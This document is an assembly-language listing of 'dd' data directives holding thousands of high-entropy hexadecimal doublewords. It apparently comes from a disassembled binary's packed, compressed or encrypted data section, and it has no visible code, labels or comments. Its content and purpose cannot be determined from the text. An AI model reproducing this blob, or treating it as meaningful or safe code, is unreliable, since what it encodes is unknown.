		dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h
		dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh
		dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h
		dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h
		dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h,	0E8001748h
		dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h,	250310B2h
		dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h
		dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h,	0B0FE880h
		dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h,	164AAB95h
		dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h
		dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch
		dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h
		dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh
		dd 68518376h
		dd 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh
		dd 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h,	552D098Eh
		dd 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h,	591FB525h
		dd 6F00794Ah, 50CE8EDh,	7112F675h, 784D00F8h, 7CA85DF0h
		dd 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h
		dd 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h,	40E06BBAh
		dd 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh
		dd 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh
		dd 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h
		dd 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh
		dd 2014510h, 2D4C6A30h,	0B09FC32Bh, 132C0732h, 121CF018h
		dd 11C1D08h, 80B91E80h,	8B0EC020h, 31473h, 0EE930C69h
		dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h
		dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h,	53620B72h
		dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh,	852120h
		dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch
		dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h
		dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h
		dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h,	75A0CCB4h
		dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
		dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h,	0D9B45Ch
		dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
		dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh,	450F43Bh
		dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
		dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
		dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh,	89F8F3CAh
		dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h,	3B83FC80h
		dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
		dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
		dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
		dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
		dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
		dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h,	8D95FA2Ch
		dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h,	909C1FBCh
		dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
		dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
		dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h,	61E91977h
		dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
		dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
		dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
		dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
		dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
		dd 24F50774h, 0F8FA80h,	0FC1390Dh, 920060FEh, 1D495057h
		dd 8CFE89h, 0EE475DDBh,	159862B8h, 81268D7Dh, 1612E344h
		dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
		dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
		dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h,	905C7C0h
		dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
		dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh,	4910434Fh
		dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
		dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
		dd 173936E9h, 95380C9h,	480F34C3h, 4CAE4C41h, 7794050Ch
		dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
		dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
		dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh,	1525F7FEh
		dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh,	7180A5C8h
		dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
		dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
		dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
		dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
		dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h,	0FF073534h
		dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
		dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
		dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h,	0D5D20A0Ch
		dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
		dd 2AC31000h, 3B558F8h,	33C812A0h, 8FF05DBh, 57A9019Fh
		dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
		dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h,	66085D3Bh
		dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h,	3075448Dh
		dd 0AC09B93Fh, 9109B5h,	0F5EF123Eh, 8BF61EC4h, 0DD807E06h
		dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
		dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
		dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
		dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h,	700F3C5h
		dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
		dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
		dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h,	5D88A03h
		dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh,	1772110h
		dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
		dd 5E1D0064h, 913BA40h,	0E800CEFAh, 0F535AE4Ah,	53CCA9h
		dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh,	0E6600E19h
		dd 2833B32h, 3E92042Ch,	3B66A080h, 7127506h, 76C98500h
		dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
		dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
		dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
		dd 0F01F84h, 1DC8BD4Ch,	0FC485FB9h, 0EFE06B02h,	0F58E412Dh
		dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
		dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
		dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h,	70CAA1Dh
		dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
		dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
		dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
		dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
		dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
		dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
		dd 80792075h, 1757D054h, 11001993h, 0D2515303h,	0A04D14h
		dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
		dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
		dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h,	0C0223Dh
		dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
		dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h,	610D0705h
		dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
		dd 522228DCh, 0A11392F0h
		dd 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h,	0ADD73C84h
		dd 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h,	40B51F5Bh
		dd 792A4D6h, 2C037389h,	852E56DDh, 352DA0FCh, 6B6C1EE9h
		dd 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh
		dd 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h,	49AC5C90h
		dd 4021FD40h, 6C7002Ch,	2811D6D4h, 9B03CB42h, 22431AFDh
		dd 7AD998AAh, 4330093h,	3C60ABCh, 0C9009901h, 6F8B29DEh
		dd 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h
		dd 41243EF9h, 0D794E8h,	8DD38549h, 0E8CB3122h, 7B80BE1Eh
		dd 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah,	46FE2D42h
		dd 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h
		dd 80E7438h, 4254C730h,	17AF9770h, 3F59FA90h, 0EC00F7F0h
		dd 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h,	53A22F3Eh
		dd 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah,	1AA80796h
		dd 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh,	6570E776h
		dd 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h
		dd 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h, 55455900h
		dd 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h
		dd 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h,	7367650Eh
		dd 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h
		dd 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h
		dd 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h
		dd 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h,	6F3ED5EFh
		dd 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h,	0F7A0D81Eh
		dd 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h
		dd 107D865h, 0C7D8051h,	0BBF27F50h, 5AEB0039h, 1FE81A03h
		dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h
		dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h
		dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h,	16F2B8D8h
		dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h
		dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h
		dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h,	704CA3Eh
		dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h
		dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh
		dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h
		dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h
		dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h
		dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh
		dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh
		dd 190507Fh, 3300A0FCh,	13156A8h, 200BE5h, 5C15D524h, 6051F8C6h
		dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h
		dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch,	57003F59h
		dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh,	503089D9h
		dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h
		dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h,	4B011029h
		dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh
		dd 9100187Ah, 235060Ch,	0E2A876h, 5A402D7Ch, 52643155h
		dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h
		dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh,	14020800h
		dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h
		dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah,	0D65048A4h
		dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h,	6774292Eh
		dd 32003BD9h, 1120C61h,	2036A5Bh, 0AB574555h, 946330C3h
		dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh
		dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh
		dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh
		dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h
		dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh
		dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h,	0E7C0F8CDh
		dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h,	86957Eh
		dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh,	4280E2Eh
		dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h
		dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h
		dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h
		dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h,	0CD770006h
		dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h,	0BEA09A95h
		dd 74EB0D3h, 3F8624FEh,	0E72230D2h, 420F01B7h, 56A57h
		dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh
		dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h
		dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h
		dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h
		dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h,	65AD7AAAh
		dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h
		dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h
		dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh
		dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch
		dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h,	8084B14Ah
		dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h,	0CAB803F9h
		dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h
		dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h
		dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh,	16EC89h
		dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
		dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
		dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
		dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h,	65C2ADE1h
		dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
		dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
		dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
		dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h,	401563A6h
		dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
		dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
		dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
		dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
		dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
		dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
		dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
		dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
		dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
		dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
		dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
		dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
		dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
		dd 96C0A938h
		dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
		dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
		dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
		dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
		dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h,	791E3AFCh
		dd 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h
		dd 0FEF28Fh, 736B6FF2h,	8CAA5524h, 8E749001h, 5E9219A7h
		dd 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h
		dd 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h
		dd 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h
		dd 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh
		dd 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh
		dd 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h
		dd 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h
		dd 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh,	0C62D30h
		dd 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h
		dd 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h
		dd 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h,	4402652Ah
		dd 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh,	0B3262D45h
		dd 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h
		dd 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh
		dd 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h
		dd 8DFC5309h, 7D4EA48h,	5BC3048Ah, 212450DDh, 0D200AAB7h
		dd 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h,	3E988ACBh
		dd 802113h, 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh
		dd 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h
		dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch
		dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh
		dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh
		dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h
		dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h
		dd 5B301E21h, 63FC09Eh,	56846B4Ah, 0D3A38B2Ch, 0D044CF07h
		dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h
		dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h
		dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh,	0D748C0A4h
		dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h,	0A2D3D2E2h
		dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h
		dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah
		dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h,	758F9339h
		dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h
		dd 3465401h, 76007662h,	0E8028891h, 30D7B5Ah, 707E843Bh
		dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh
		dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh,	4DBEE269h
		dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h
		dd 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h
		dd 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h
		dd 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh
		dd 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h
		dd 0E1731E82h, 85CA3Bh,	54862F07h, 109E6AE7h, 37B47E01h
		dd 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h,	0BF8EC59h
		dd 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h
		dd 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h
		dd 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h
		dd 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h
		dd 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h
		dd 0E79117h, 324A8110h,	22C2098Fh, 0EFB8B000h, 0D6E22EFCh
		dd 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h
		dd 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh
		dd 16D1CD99h, 0CF27A9h,	0D3672D0Fh, 4B00246Ah, 0C73D9C15h
		dd 388712h, 0E1B5358Eh,	207B3AD8h, 3C5A101Ch, 0A14C2FCFh
		dd 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah, 0A75DD901h
		dd 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh,	7E0007F8h
		dd 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh
		dd 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h,	7D2E40F1h
		dd 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h,	0DDCEC0ECh
		dd 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh,	487109h
		dd 22759166h, 0A9944487h, 15BD8900h, 79566AA8h,	3A430913h
		dd 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h,	1E3600F5h
		dd 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h
		dd 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh
		dd 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh,	0E106F0h
		dd 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h
		dd 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h
		dd 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h,	8C9C9ED0h
		dd 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h
		dd 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h
		dd 5FD5BD1h, 95796406h,	90740B9Dh, 11FEE7h, 2DAD3FB5h
		dd 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh
		dd 1354B0Bh, 9800FAC6h,	0C046D13h, 901C4E06h, 0A4AA0075h
		dd 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh
		dd 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h
		dd 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h,	0D10B1DACh
		dd 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h,	96554152h
		dd 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch
		dd 4E5142h, 0D55247C2h,	0DE9DA396h, 43DA4100h, 77A98F27h
		dd 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh,	13CA6Eh
		dd 588DBADh, 847D8351h,	76818700h, 0A19BCCB8h, 2D900089h
		dd 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh,	0C353064Bh
		dd 662230EBh, 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h
		dd 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h
		dd 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h,	31382433h
		dd 80522831h, 54E41940h, 87C99h, 144B2C11h, 7955A41Ah
		dd 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh, 5010255Bh
		dd 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh, 0A7521AA1h
		dd 400D50Ch, 62BEE0DEh,	8153A0h, 438FE831h, 3325D16Bh
		dd 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h, 0B40A657Bh
		dd 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah,	7BA2EAh
		dd 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh, 472A7Ch
		dd 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h,	0C297BC0h
		dd 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h, 0A4DC4381h
		dd 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h, 1AC758h
		dd 0EC99EA24h, 5FA858h,	264C4442h, 5B2DAF53h, 0E094D500h
		dd 3B1C98C4h, 74F9A0BEh
		dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
